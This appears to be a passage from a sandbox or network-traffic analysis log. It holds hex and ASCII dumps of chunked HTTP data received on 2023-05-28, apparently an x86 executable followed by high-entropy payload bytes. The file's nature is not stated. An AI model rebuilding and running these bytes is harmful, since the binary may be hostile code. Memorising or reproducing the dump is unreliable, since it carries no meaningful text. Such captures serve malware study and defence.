2023-05-28 08:43:39 UTC	1485	IN	Data Raw: 32 30 30 30 0d 0a ee 21 16 8b 01 c1 e8 02 83 e0 07 2b c3 74 15 48 74 07 48 75 1a 21 16 eb 16 8b 06 23 c2 0d 00 02 00 00 eb 09 8b 06 23 c2 0d 00 03 00 00 89 06 39 5d 20 74 07 d9 41 50 d9 1f eb 05 dd 41 50 dd 1f 5f 5e 5b 5d c3 8b ff 55 8b ec 6a 00 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 06 fd ff ff 83 c4 1c 5d c3 8b ff 55 8b ec 83 ec 14 8b 45 08 53 56 33 db 8b f0 83 e6 1f 43 89 75 fc a8 08 74 14 84 5d 10 74 0f 53 e8 7d 05 00 00 59 83 e6 f7 e9 90 01 00 00 a8 04 74 16 f6 45 10 04 74 10 6a 04 e8 63 05 00 00 59 83 e6 fb e9 76 01 00 00 84 c3 0f 84 9a 00 00 00 f6 45 10 08 0f 84 90 00 00 00 6a 08 e8 41 05 00 00 8b 45 10 59 b9 00 0c 00 00 23 c1 74 54 3d 00 04 00 00 74 37 3d 00 08 00 00 74 1a 3b c1 75 62 d9 ee 8b 4d 0c dc 19 df e0 dd 05 38 5f 47 00 Data Ascii: 2000!+tHtHu!##9] tAPAP_^[]Ujuuuuuu]UESV3Cut]tS}YtEtjcYvEjAEY#tT=t7=t;ubM8_G
2023-05-28 08:43:39 UTC	1493	IN	Data Raw: 81 38 dd dd 00 00 Data Ascii: 8
2023-05-28 08:43:39 UTC	1493	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1493	IN	Data Raw: 31 66 66 38 0d 0a 75 07 50 e8 49 7e ff ff 59 5d c3 8b ff 55 8b ec 83 ec 14 a1 80 52 47 00 33 c5 89 45 fc 53 56 33 db 57 8b f1 39 1d 4c 76 47 00 75 38 53 53 33 ff 47 57 68 d0 23 40 00 68 00 01 00 00 53 ff 15 ac 11 40 00 85 c0 74 08 89 3d 4c 76 47 00 eb 15 ff 15 5c 10 40 00 83 f8 78 75 0a c7 05 4c 76 47 00 02 00 00 00 39 5d 14 7e 22 8b 4d 14 8b 45 10 49 38 18 74 08 40 3b cb 75 f6 83 c9 ff 8b 45 14 2b c1 48 3b 45 14 7d 01 40 89 45 14 a1 4c 76 47 00 83 f8 02 0f 84 ac 01 00 00 3b c3 0f 84 a4 01 00 00 83 f8 01 0f 85 cc 01 00 00 89 5d f8 39 5d 20 75 08 8b 06 8b 40 04 89 45 20 8b 35 a4 11 40 00 33 c0 39 5d 24 53 53 ff 75 14 0f 95 c0 ff 75 10 8d 04 c5 01 00 00 00 50 ff 75 20 ff d6 8b f8 3b fb 0f 84 8f 01 00 00 7e 43 6a e0 33 d2 58 f7 f7 83 f8 02 72 37 8d 44 3f 08 Data Ascii: 1ff8uPI~Y]URG3ESV3W9LvGu8SS3GWh#@hS@t=LvG\@xuLvG9]~"MEI8t@;uE+H;E}@ELvG;]9] u@E 5@39]$SSuuPu ;~Cj3Xr7D?
2023-05-28 08:43:39 UTC	1501	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-05-28 08:43:39 UTC	1501	IN	Data Raw: 7c 0d eb 03 c6 00 30 48 80 38 39 74 f7 fe 00 80 3e 31 75 05 ff 41 04 eb 15 8d 7e 01 57 e8 56 42 ff ff 40 50 57 56 e8 2d 54 ff ff 83 c4 10 33 c0 5f 5e 5b 5d c3 8b ff 55 8b ec 51 8b 55 0c 0f b7 42 06 53 8b c8 56 57 c1 e9 04 25 00 80 00 00 bf ff 07 00 00 23 cf 89 45 0c 8b 42 04 8b 12 0f b7 d9 be 00 00 00 80 25 ff ff 0f 00 89 75 fc 85 db 74 13 3b df 74 08 81 c1 00 3c 00 00 eb 28 bf ff 7f 00 00 eb 24 33 db 3b c3 75 12 3b d3 75 0e 8b 45 08 66 8b 4d 0c 89 58 04 89 18 eb 4c 81 c1 01 3c 00 00 89 5d fc 0f b7 f9 8b ca c1 e9 15 c1 e0 0b 0b c8 0b 4d fc 8b 45 08 c1 e2 0b 89 48 04 89 10 85 ce 75 1f 8b 08 8b 50 04 8b d9 03 d2 c1 eb 1f 0b d3 03 c9 81 c7 ff ff 00 00 89 50 04 89 08 85 d6 74 e1 8b 4d 0c 0b cf 5f 5e 66 89 48 08 5b c9 c3 8b ff 55 8b ec 83 ec 30 a1 80 52 47 00 Data Ascii: \|0H89t>1uA~WVB@PWV-T3_^[]UQUBSVW%#EB%ut;t<($3;u;uEfMXL<]MEHuPPtM_^fH[U0RG
2023-05-28 08:43:39 UTC	1509	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1509	IN	Data Raw: 32 30 30 30 0d 0a 45 e0 8b 45 f4 89 45 e2 8b 45 f8 89 45 e6 66 89 75 ea eb 1e 33 c0 66 85 db 0f 94 c0 83 65 e4 00 48 25 00 00 00 80 05 00 80 ff 7f 83 65 e0 00 89 45 e8 f6 45 18 01 8b 55 a0 8b 45 b4 8b 7d 14 66 89 02 74 32 98 03 f8 85 ff 7f 2b 33 c0 66 89 02 b8 00 80 00 00 66 39 45 90 c6 42 03 01 0f 95 c0 fe c8 24 0d 04 20 88 42 02 c6 42 04 30 c6 42 05 00 e9 5e f9 ff ff 83 ff 15 7e 03 6a 15 5f 8b 75 e8 c1 ee 10 81 ee fe 3f 00 00 33 c0 66 89 45 ea c7 45 bc 08 00 00 00 8b 45 e0 8b 5d e4 8b 4d e4 d1 65 e0 c1 e8 1f 03 db 0b d8 8b 45 e8 c1 e9 1f 03 c0 0b c1 ff 4d bc 89 5d e4 89 45 e8 75 d8 85 f6 7d 32 f7 de 81 e6 ff 00 00 00 7e 28 8b 45 e8 8b 5d e4 8b 4d e4 d1 6d e8 c1 e0 1f d1 eb 0b d8 8b 45 e0 c1 e1 1f d1 e8 0b c1 4e 89 5d e4 89 45 e0 85 f6 7f d8 8d 47 01 8d Data Ascii: 2000EEEEEfu3feH%eEEUE}ft2+3ff9EB$ BB0B^~j_u?3fEEE]MeEM]Eu}2~(E]MmEN]EG
2023-05-28 08:43:39 UTC	1517	IN	Data Raw: 1e 82 55 0b b8 dc Data Ascii: U
2023-05-28 08:43:39 UTC	1517	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1517	IN	Data Raw: 32 30 30 30 0d 0a 39 c5 8b 52 6a b5 b3 23 5b ef ae fd 38 73 2d 81 fe 79 0f f1 9e fb ea 43 97 45 a0 ad 40 cb 5d 28 f9 a1 2d f7 4d b0 08 72 fe 47 8c 2c d0 9d 5e 3b 36 8a 4b 32 0d c3 89 24 3f 8f 14 ff db bf 8a ed 99 1b 76 f1 b2 36 f6 81 18 33 2a b9 93 0c 58 91 d3 c0 32 81 71 32 a2 40 39 63 f3 44 a9 32 0a 0c 4a 6d 0f 71 9e a1 75 e3 65 f2 30 1a 46 c1 7a 9d 1c 1a 4d 75 0e 3c 5f ee 8a 88 56 09 08 c0 ef e8 f7 76 a4 34 fc b9 0f d5 9f c2 0b 08 3c 31 0c 7c 13 20 87 6e 99 6e a6 3a ee 6c ea c1 80 eb a1 bd d2 29 17 6b 77 98 8f 67 45 a8 dd 3e e0 5a 99 f3 4a c3 00 08 fb 13 ef b4 91 31 cf b3 ed 60 08 0b 31 c6 1b 02 5b d2 56 ff e9 1e 33 8a 61 96 4e 9d 51 92 68 2c 3c d5 d8 21 a6 ee 7e ba 3a 16 ee 9e fa fd 6c 50 1f 1c a9 82 a6 f9 78 0d b9 6f 25 10 fd 7c 9d 33 81 26 76 c1 c1 Data Ascii: 20009Rj#[8s-yCE@](-MrG,^;6K2$?v63*X2q2@9cD2Jmque0FzMu<_Vv4<1\| nn:l)kwgE>ZJ1`1[V3aNQh,<!~:lPxo%\|3&v
2023-05-28 08:43:39 UTC	1525	IN	Data Raw: e9 3d c3 d1 9f 99 Data Ascii: =
2023-05-28 08:43:39 UTC	1525	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1525	IN	Data Raw: 32 30 30 30 0d 0a 7b d4 79 3e a0 6b 80 3a 82 01 25 3d 7f bb 14 d5 80 3a 27 47 76 39 8b 69 51 a0 66 6a 78 91 d9 28 6f 06 86 c9 e0 74 98 f4 82 60 bc 3b eb e7 34 95 d1 e8 f5 41 6f 5d f8 28 b8 0e c6 f8 9f 3d 89 9d ac 8f b0 99 2d 25 f0 60 db 4d 7c 28 c5 c2 fa ef b1 10 f3 50 e9 c7 9e be 63 55 47 70 82 31 80 17 41 e0 5a 09 1c e7 54 95 bd 01 53 09 bc ff 06 0b db 49 9c 50 40 33 d4 60 de 1b 2a fb b1 85 e5 07 58 06 c5 68 16 ba 1d dd 82 a0 f6 0e 88 6f 13 fa 56 8b f2 fb db c0 6b 8a 02 56 27 9a 52 8f e5 ae 02 fc e6 30 1a 75 57 b4 a7 71 3c c4 be 55 77 6e 1c 03 4b c9 b8 e5 ff 2d e9 2f 7c 18 ad a2 0f e0 1d 38 68 0e c8 20 79 c6 0a 86 92 f8 25 bb 75 d2 32 91 be 6b 58 2b 58 27 99 0e 68 b6 74 b4 7d 41 82 bc 55 8a 1b d2 5d 2b 03 4f e0 1e d5 77 c8 4d 4a e1 e8 ea 76 5c 80 e1 27 Data Ascii: 2000{y>k:%=:'Gv9iQfjx(ot`;4Ao](=-%`M\|(PcUGp1AZTSIP@3`*XhoVkV'R0uWq<UwnK-/\|8h y%u2kX+X'ht}AU]+OwMJv\'
2023-05-28 08:43:39 UTC	1533	IN	Data Raw: e9 fe 94 1b dd fb Data Ascii:
2023-05-28 08:43:39 UTC	1533	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1533	IN	Data Raw: 32 30 30 30 0d 0a be 5b c5 05 5b ce 2b df 2c 36 f1 28 aa 33 3f ac 0a 6e 28 3e 26 96 cd 56 a1 55 c4 de 48 8f 49 b3 93 9a d4 fd 31 b9 7c d2 e4 61 98 2c 41 cc e7 0c a1 7b 68 00 71 c7 55 0c 50 96 db d6 9e 48 5a e0 56 cc 7f b8 9e b4 50 14 14 94 1c 50 37 b7 05 b1 da 7b 44 f5 ae d4 07 ab 86 72 d4 8c f1 8a 2c b0 b5 98 a7 24 e0 04 3b f7 dd fb 3c bd cb 8b 5e 78 bb b0 27 e5 6b 26 7a 02 84 aa c0 d7 3c 3f 30 21 cf f9 68 73 e6 fa 97 fc b2 e9 c3 ed 15 f2 4c e4 51 54 db c9 dd c8 9f 5c 02 a7 69 49 a7 48 1c 0a 55 8b f7 73 38 20 0a 3e aa 78 38 42 8e 13 74 33 44 6b f8 9d e1 c2 7c dd bc f5 05 23 d3 8f d7 9a cb d0 83 1a 78 cc 65 e1 31 3f be 14 11 db e9 83 bd 70 44 73 c9 bd f9 d0 cf da c6 92 5d dd fd 33 ca e7 33 56 74 30 e0 6f 1c 00 06 32 39 da 2f 58 0a 7c 61 7b b2 47 b4 0c 76 Data Ascii: 2000[[+,6(3?n(>&VUHI1\|a,A{hqUPHZVPP7{Dr,$;<^x'k&z<?0!hsLQT\iIHUs8 >x8Bt3Dk\|#xe1?pDs]33Vt0o29/X\|a{Gv
2023-05-28 08:43:39 UTC	1541	IN	Data Raw: 58 dc ea 14 d2 70 Data Ascii: Xp
2023-05-28 08:43:39 UTC	1541	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1541	IN	Data Raw: 32 30 30 30 0d 0a 0f 8d cc c6 85 7c ac 8d a0 50 eb f3 01 ba ce 65 e0 de 67 0a bb 4c 99 44 c2 d3 35 b4 b2 b5 8a 9e ea 69 22 cf 37 0e be 70 a6 de fc c7 82 99 83 6e ac c1 d3 f4 83 5e 0b ae 71 40 86 b4 19 55 06 0a 8b b3 e7 ae 49 3f 58 04 24 7e 95 15 ba ca fa 3d a9 47 57 43 f8 7d 2b 5f e2 2d df 66 18 da e4 3f ec 35 41 fb 6b 18 d4 64 ec 79 55 5e 1c f7 98 81 43 a4 a2 a0 82 6c 1f 12 83 ee 7b 1d 37 e1 ec a8 20 11 34 92 54 a8 63 d5 a0 94 3f e6 01 d1 83 ef ff 8a 62 34 52 c3 5e 49 f7 d1 95 81 49 7c cc ec 6a e5 26 d9 80 6f 94 23 f1 bd 44 0d 84 b2 82 3a a8 84 53 55 9d 45 be 4c 6a ec 7d 3a 47 8d 44 56 d8 e9 28 35 1c 88 49 10 dd 05 7e e0 01 a7 3b c4 0f 48 79 f4 ee ef 99 29 3a 2d 86 5e be 82 7e ec 29 45 9b bd b0 25 dc 36 48 68 40 66 45 c7 a7 70 fe e1 26 77 70 cb 82 a0 43 Data Ascii: 2000\|PegLD5i"7pn^q@UI?X$~=GWC}+_-f?5AkdyU^Cl{7 4Tc?b4R^II\|j&o#D:SUELj}:GDV(5I~;Hy):-^~)E%6Hh@fEp&wpC
2023-05-28 08:43:39 UTC	1549	IN	Data Raw: 2d e4 19 43 dd 92 Data Ascii: -C
2023-05-28 08:43:39 UTC	1549	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1549	IN	Data Raw: 32 30 30 30 0d 0a eb c6 06 90 46 1d e5 7b 1f 92 c2 bf b7 57 7f d2 1d 1d 56 81 6b e8 6f dc 66 61 02 fc 1f 1d 92 7a df eb 1d 43 e3 17 57 f6 e1 16 ba 9a 03 e8 74 b2 bc e2 67 18 7d e7 d6 4e e5 64 08 fb 80 78 93 e5 a5 47 53 30 15 0c d6 1b d8 9f 15 74 7a 58 0c f2 6a 85 6a a8 b6 95 57 f3 99 28 d5 ec 00 23 7d dc 0f b3 24 44 c2 ac 3c a4 33 24 52 2b 18 07 32 51 e5 b0 c1 14 76 54 22 ef 93 6b 09 c7 50 99 37 f0 35 71 1c f4 c8 05 ef d5 d4 3d 45 29 a9 0d 65 a2 b9 3c 0e d6 9b cf 3f 48 8e d6 c8 17 a3 d0 b8 62 6f 64 25 bb 07 97 ce ae fc 0c 11 b4 44 a9 42 a9 a9 d8 ae b2 68 8d 7b ce 0b 9a f0 77 80 e1 20 57 ab c1 19 2d a2 1c 73 b6 9d 08 01 32 da e9 31 ab da c4 39 ac 82 56 95 2e e0 01 46 04 51 aa 4c dd 5a 68 60 13 1b 11 81 d1 17 09 e9 1f eb fb af 8e c6 37 68 bc 84 c5 33 1a ae Data Ascii: 2000F{WVkofazCWtg}NdxGS0tzXjjW(#}$D<3$R+2QvT"kP75q=E)e<?Hbod%DBh{w W-s219V.FQLZh`7h3
2023-05-28 08:43:39 UTC	1557	IN	Data Raw: 61 c4 d2 82 00 51 Data Ascii: aQ
2023-05-28 08:43:39 UTC	1557	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1557	IN	Data Raw: 31 66 66 38 0d 0a 81 da 6f 75 15 5f 8d e6 1d 3a 95 d0 2b 86 c5 d7 58 13 1a 9f 7b fc 30 39 61 ae fa b7 9b 88 e1 22 79 e6 8e ba c7 20 f6 96 9e 93 a3 fd 33 64 f2 1e 27 18 f1 71 5a db 24 ea b7 ad d4 9e 33 7b d3 b6 d9 04 6c 77 81 fd db 86 87 d4 c9 40 33 ac 9d 54 ab 73 ea ff 2d dd 12 7d c0 f5 d9 dc 5d f1 e4 46 68 28 88 1a 8f 0b 25 bd 49 3c cc 65 e5 4b b8 55 5d cd d7 8e b6 23 4a 2f 85 4b 7d d0 86 b8 f7 81 6c 21 de 70 42 b6 e6 8d ae 0d 42 b3 76 a2 f1 33 53 17 80 e2 98 28 b9 01 66 2e d7 e2 32 e6 ad b3 ba ec cb 77 aa 38 9e f4 6d ae 6a d9 3d 3e e4 a8 4a 97 47 66 b5 d7 fe 58 06 e8 5a 7f 9e 4b 9b f9 d9 ec 18 7c d3 c9 6f 10 28 a4 eb 50 86 60 0e 5a 89 d2 e9 8d bf 7d 61 ab 54 f3 2e e9 7b b6 bf 4f 3f 72 28 b4 c4 2d fd 7a 29 2a 9a 1a 17 5a 45 b5 54 01 55 74 dd e7 aa c9 6d Data Ascii: 1ff8ou_:+X{09a"y 3d'qZ$3{lw@3Ts-}]Fh(%I<eKU]#J/K}l!pBBv3S(f.2w8mj=>JGfXZK\|o(P`Z}aT.{O?r(-z)*ZETUtm
2023-05-28 08:43:39 UTC	1565	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-05-28 08:43:39 UTC	1565	IN	Data Raw: 0f 15 63 05 7f 79 8b 63 b4 ab fa ba 51 9e 00 4b e4 8d ef c4 ee ab 24 55 3b 03 2f 77 90 6d 84 74 a3 3c b1 42 73 1d ab e7 44 a5 57 3c a1 99 f1 bf 96 b3 56 43 94 fe 1d 5b 06 99 43 e7 5a 1f 2d 13 0c 36 e5 a0 f7 b7 5c 88 40 28 e5 20 e1 4a 40 8e bc e6 f6 a5 4f b4 2e 9b 2a 4a 7b 12 9e 74 f8 26 85 76 c5 ac f4 6e a5 a4 d1 12 a5 f7 b7 eb eb e8 c3 4d 7d 10 6f f4 c7 57 dd e5 de fe 25 5c ba 1c 12 5e b0 35 48 a8 7b 5c 6d 18 cd c6 b1 33 50 de 4c b9 78 60 83 89 69 e6 20 64 e5 ba f4 ee d0 e3 30 aa 46 55 e9 2c 0e 8f 00 da 97 5d 5d 72 86 19 7b c0 46 49 0c 5e 22 b5 36 42 a4 20 a7 e3 57 89 2c 87 e7 0d 81 7a 73 17 0d f8 d5 db 3c f8 24 fd 3f 9d ce 7c cf 27 25 ae 7e 49 95 da 64 56 37 00 fa c8 2d 15 8a 18 86 d4 dd 32 1b 41 66 5b 51 87 eb a0 bb 18 ef e3 42 21 42 13 6c 46 34 3f 53 Data Ascii: cycQK$U;/wmt<BsDW<VC[CZ-6\@( J@O.*J{t&vnM}oW%\^5H{\m3PLx`i d0FU,]]r{FI^"6B W,zs<$?\|'%~IdV7-2Af[QB!BlF4?S
2023-05-28 08:43:39 UTC	1573	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1573	IN	Data Raw: 32 30 30 30 0d 0a 86 aa 2e 97 3c 3f b7 81 15 7a 86 24 48 fe 00 9f a6 ef 25 8d 24 41 a3 e7 51 88 e1 4a 4c aa 37 dc 16 a0 3e 39 eb 46 40 8c 86 96 af ef 8b f2 d3 3d ac 65 a8 d6 14 f3 85 50 ff 08 34 cd 84 3b db 56 9a 37 fa f5 6f 65 55 4e f4 57 ba 1f c5 b7 33 31 8d 45 d8 0f 37 d8 29 e8 0e 36 5e 98 f4 5c 04 5e bc 2a 02 01 2c 3c 49 33 25 90 83 a1 3a 6f b8 d8 f0 fa 37 cd e7 fc c4 7f 26 7a d3 2d 52 83 02 6d 60 6f 86 4f 2f af 39 de 8c 9b 3a 99 93 70 62 d3 e0 4d d7 06 4d 47 bd af 14 1a 12 38 eb 86 be 5c 4e 31 ac 09 d2 25 2e 9c 4b 79 37 7e a9 60 9e 8e ba 25 ed 94 ea 94 65 fb f9 4d ec f1 84 dc 1f 4c bd cf c1 3b c2 cd f2 b2 2a 79 48 86 c3 53 cd 0a 5d f6 22 30 42 d5 72 35 e4 ef e6 67 d1 16 0d 96 b9 64 9f fa 7e 99 2a 38 7c ef e2 7e 66 8c f2 82 14 b9 96 b2 11 fa ad bb f3 Data Ascii: 2000.<?z$H%$AQJL7>9F@=eP4;V7oeUNW31E7)6^\^,<I3%:o7&z-Rm`oO/9:pbMMG8\N1%.Ky7~`%eML;yHS]"0Br5gd~*8\|~f
2023-05-28 08:43:39 UTC	1581	IN	Data Raw: 64 83 3b b5 da da Data Ascii: d;
2023-05-28 08:43:39 UTC	1581	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1581	IN	Data Raw: 32 30 30 30 0d 0a fd 53 4c 97 a6 e2 27 af 31 d5 32 fe e2 4b fc 7d 99 ca 32 1b 66 cb 06 54 23 c6 c6 f4 42 df e3 dc a0 0c a7 f0 2a e4 ac 31 e7 9b 2a cd 46 41 63 0a 78 14 da 5c 4e c1 f0 58 67 f9 aa 07 73 cd 7d 57 d6 95 5d 71 ae cc 5e 8c f7 37 df cb 2b 71 3d c2 db 00 8d bc e2 2a b6 ca c0 bb 70 b7 ea a4 07 5e d2 e4 11 52 7f c6 41 06 b0 12 6f 0b ff a9 d2 e8 33 aa 1a 0a 6c 91 12 12 6a 9a 3d f9 2e ab 7e 82 2f 72 e9 80 b4 b4 c5 02 66 ea 5d 41 54 2d 02 87 99 82 8c 67 25 3d 32 12 b1 c8 0d 87 07 f7 34 86 3e 23 88 42 3b 2f 08 a9 94 b1 bc 5f 12 42 0b a9 48 ed dd b6 1c 9e 14 dc 23 8a 5e 42 74 b5 b1 c6 1e 4c 4d e1 5e 20 7a 6b 48 ae 5c 85 ff 4c e0 c7 a5 26 cd 24 ee 9d 93 c9 9f 1c a7 c4 4d e7 d6 2a 3e 8c c4 0e 2d e2 d6 f3 1c 1e a6 c7 44 50 1c 15 cc 41 c4 27 14 4a 21 64 0e Data Ascii: 2000SL'12K}2fT#B1FAcx\NXgs}W]q^7+q=p^RAo3lj=.~/rf]AT-g%=24>#B;/_BH#^BtLM^ zkH\L&$M>-DPA'J!d
2023-05-28 08:43:39 UTC	1589	IN	Data Raw: 40 ff 03 c8 84 c7 Data Ascii: @
2023-05-28 08:43:39 UTC	1589	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1589	IN	Data Raw: 32 30 30 30 0d 0a 4c 05 ec 44 fc 95 8d 3d 36 71 b8 1e df 90 ab eb 3c 5a 9d af f8 b6 59 93 01 96 70 cb 0d 8b 3e 2e 01 8d 84 1d 7f 61 ea a0 b3 65 07 52 ee 09 a8 53 69 e4 eb ba 44 61 ac d2 d7 e1 cb 50 dc df 13 72 3f a2 82 cf ee fb e5 67 5c 9d 0b 2d d6 3e ad 47 b7 ab ef 64 88 4f 7a 49 61 0c b3 2c 04 41 10 4a 7f f7 37 78 3c 7d 33 6c 21 70 e9 2c 53 a4 40 48 1c 39 4f 54 21 88 e3 51 27 a0 ed 63 54 19 80 9c 40 a6 e8 49 c3 bb 54 5a a0 df 65 05 34 99 34 6b b0 dc 44 f6 ba d8 5f 4c 84 71 f3 d8 bc 8e 92 d3 c0 63 25 76 d2 b4 92 4a 5f 08 6d 34 63 15 cf bd e6 74 32 53 ef a6 76 ae 11 a4 07 7a 3b 99 a8 86 aa 68 06 86 49 c7 cf 81 d5 8a 12 84 11 5c 4e 25 8a 60 d8 2b ac e0 db e0 67 df 59 c4 2c 6a f3 0b 00 21 fb e1 14 91 54 2f 85 28 92 50 7a 55 62 e0 f9 da e7 56 b5 d7 25 d2 2b Data Ascii: 2000LD=6q<ZYp>.aeRSiDaPr?g\->GdOzIa,AJ7x<}3l!p,S@H9OT!Q'cT@ITZe44kD_Lqc%vJ_m4ct2Svz;hI\N%`+gY,j!T/(PzUbV%+
2023-05-28 08:43:39 UTC	1597	IN	Data Raw: 6a 0a 79 5f e0 9d Data Ascii: jy_
2023-05-28 08:43:39 UTC	1597	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1597	IN	Data Raw: 32 30 30 30 0d 0a 77 16 63 d6 54 ee 3c 94 d2 0f 26 12 18 fc b3 6b 5b eb 07 80 a7 2b 53 33 46 9e 97 b4 3f 76 67 5e 83 6e f9 8e 38 30 26 f4 15 51 e3 f5 91 55 a2 4e 44 8a dd 61 1b bf c3 2b 36 d9 4e 23 a4 8d e0 57 bf f9 33 34 c5 17 e8 75 57 30 76 9d 9d 30 50 64 ad 16 23 a4 95 e5 5b 02 19 2e b3 47 9d c5 03 0f 7a af 32 1e e9 99 0c 68 9c 68 45 fc 3a 7e 97 50 b9 0c d9 11 48 e5 e0 2b f5 37 29 83 de 95 39 c2 6b 45 ab f3 78 7a 95 83 dc af 6f 25 53 a5 5e cc f9 5f 76 ef 69 88 8b d8 9b 14 81 8c 38 65 bd f7 74 f4 4e 70 cc 11 08 7c 5f 68 65 45 68 14 d7 f1 a0 17 22 a6 06 2a 24 23 86 ec 7e d0 cf eb 84 35 da aa a8 2e af d0 21 88 ea ac f5 ee ba 06 c0 0e e6 f2 e4 ea 3f 63 c2 72 20 d9 b2 b4 bd b5 50 ac 65 ea 58 97 bb d8 28 2e c7 07 0e 50 c5 3a 89 41 86 bf 06 10 f7 c4 a5 99 ad Data Ascii: 2000wcT<&k[+S3F?vg^n80&QUNDa+6N#W34uW0v0Pd#[.Gz2hhE:~PH+7)9kExzo%S^_vi8etNp\|_heEh"*$#~5.!?cr PeX(.P:A
2023-05-28 08:43:39 UTC	1605	IN	Data Raw: a4 c6 33 7e b2 3c Data Ascii: 3~<
2023-05-28 08:43:39 UTC	1605	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1605	IN	Data Raw: 32 30 30 30 0d 0a cf 31 00 0a 38 75 f5 5d 54 90 fa 9e eb 7f 9a 7a 4f be df ec 9b 37 cc 5b 35 5b 05 56 a3 f7 0b 9b 91 69 4e f3 ab 13 2b ae d4 1e 40 9a e1 70 11 ff 30 b4 08 9f fb a9 6d 72 16 6c 6a df 51 82 64 63 ee 90 44 70 68 7b cc a9 16 92 0a fe f5 a6 ac fd 44 4f cc 71 d7 8b a0 68 a9 bb b1 c9 12 93 bc 64 0e f6 f7 0e 66 eb 63 7e 7c 6a 31 5a 83 7a 77 ae 3f 31 7e b1 85 96 50 e7 38 15 16 b1 fd 01 58 70 67 ca 15 b0 a4 5e 1e af 2e 84 77 17 37 33 20 3f 7c 8a 6f fb 0e 3e c7 7c 71 aa 6d 35 67 20 a4 07 ff 79 4d dd 93 49 39 f3 d1 2d ad ad 1f 61 fd 06 b1 42 67 cb ef f8 02 71 64 e7 23 4f ed a3 c7 28 30 c0 c0 23 a6 fd 4f cc 4d 6e ff a3 3e 40 85 28 ba d2 15 4c 31 de 3d 8b 25 24 3c 99 9c a7 66 36 f8 b9 82 c9 5d 65 82 a4 62 e3 92 e3 d6 bb 4b 82 e0 bf 37 7a 36 f2 66 03 1c Data Ascii: 200018u]TzO7[5[ViN+@p0mrljQdcDph{DOqhdfc~\|j1Zzw?1~P8Xpg^.w73 ?\|o>\|qm5g yMI9-aBgqd#O(0#OMn>@(L1=%$<f6]ebK7z6f
2023-05-28 08:43:39 UTC	1613	IN	Data Raw: 4b 21 bd 79 61 8e Data Ascii: K!ya
2023-05-28 08:43:39 UTC	1613	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1613	IN	Data Raw: 32 30 30 30 0d 0a 30 37 f2 68 31 52 59 d3 17 be e9 2f 39 7e 09 4e 9f 26 1b 48 d1 c3 8c 10 77 1f 8c e0 bc d3 46 1a 5c 43 97 4b cb 94 03 d6 58 a7 83 14 38 36 d3 a9 8b ba c2 3c a1 3a 9e 28 89 3f 6a 57 b8 da e5 e5 fd f1 78 de e9 79 d9 29 a3 4c 61 0a 1e b7 45 5a ab 0d 15 31 85 a0 76 bc 2c ad 24 68 2b 64 a6 bd 64 05 61 7a 52 29 90 60 8e df 69 38 d8 72 f9 90 89 1d 1f 6e 54 c5 75 5d 10 a8 33 65 c5 38 35 8f 63 a8 d2 41 76 37 6b c0 d1 5f c9 29 0a 2c 9a 00 bd e1 a6 0f 56 0e 9b cf 98 3d a4 d6 32 b6 70 97 5a 7d c2 9d 88 20 75 01 1c 5b c3 60 33 73 7b 24 ca 07 6d c3 f5 57 b2 5f 46 8b a6 01 8c 98 e7 87 3e e2 09 07 49 5f bd bc 38 e7 c8 66 19 dc 96 7c 31 1a 16 01 0f 67 70 20 59 49 7c 8e c9 e3 16 0c 63 64 49 80 7e bc bf 86 fb 7e b0 1e 7d 47 71 a2 ba 1f f9 91 8e e3 78 05 bc Data Ascii: 200007h1RY/9~N&HwF\CKX86<:(?jWxy)LaEZ1v,$h+ddazR)`i8rnTu]3e85cAv7k_),V=2pZ} u[`3s{$mW_F>I_8f\|1gp YI\|cdI~~}Gqx
2023-05-28 08:43:39 UTC	1621	IN	Data Raw: 41 a5 ee 63 a5 6b Data Ascii: Ack
2023-05-28 08:43:39 UTC	1621	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1621	IN	Data Raw: 31 66 66 38 0d 0a d0 94 d3 5d 47 64 9c 8c fe bc e5 7a 7c 0a 86 a7 a2 40 0e ab bd ff 40 aa 76 6d f1 7e 01 a4 0e bb 3e 49 db ca ab 44 40 db 72 39 0d 0c c9 c7 3c ba e8 06 9b 9d 62 2b fb d3 6f fd 0c 58 ea c6 a0 97 e6 f8 fa 2b 70 5e 8c c6 63 69 56 95 f5 ee 4e b3 71 5c 78 f1 7f 33 f7 09 3a e9 84 97 c4 47 8a 39 4e d7 24 25 fa f5 a7 25 a1 00 83 e1 79 50 de c2 48 71 fb 86 37 39 cf d7 eb cb ac 56 93 87 cc c6 24 0d 0d f5 0b d6 9f cb 86 d7 60 2c c7 2d 8e b2 a3 d4 bc 8a 5a a0 c3 2a bb 89 45 98 ac 61 df 78 80 5a f0 28 ba ae e1 a3 88 3f 2d 25 26 75 51 44 c5 46 07 da 10 9a e6 59 30 1e 78 b5 48 52 af a4 84 64 ab 7a 3e 4d 19 94 88 66 86 a1 3d ab 6a e4 ef 69 fe ea fc ff b1 dd ce 78 6d 78 77 3e 1a ad a1 4f 68 13 74 40 c0 c5 95 02 a0 e8 16 a6 0b 3a 90 cb 79 f9 8f 01 de 5a 3d Data Ascii: 1ff8]Gdz\|@@vm~>ID@r9<b+oX+p^ciVNq\x3:G9N$%%yPHq79V$`,-Z*EaxZ(?-%&uQDFY0xHRdz>Mf=jixmxw>Oht@:yZ=
2023-05-28 08:43:39 UTC	1629	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
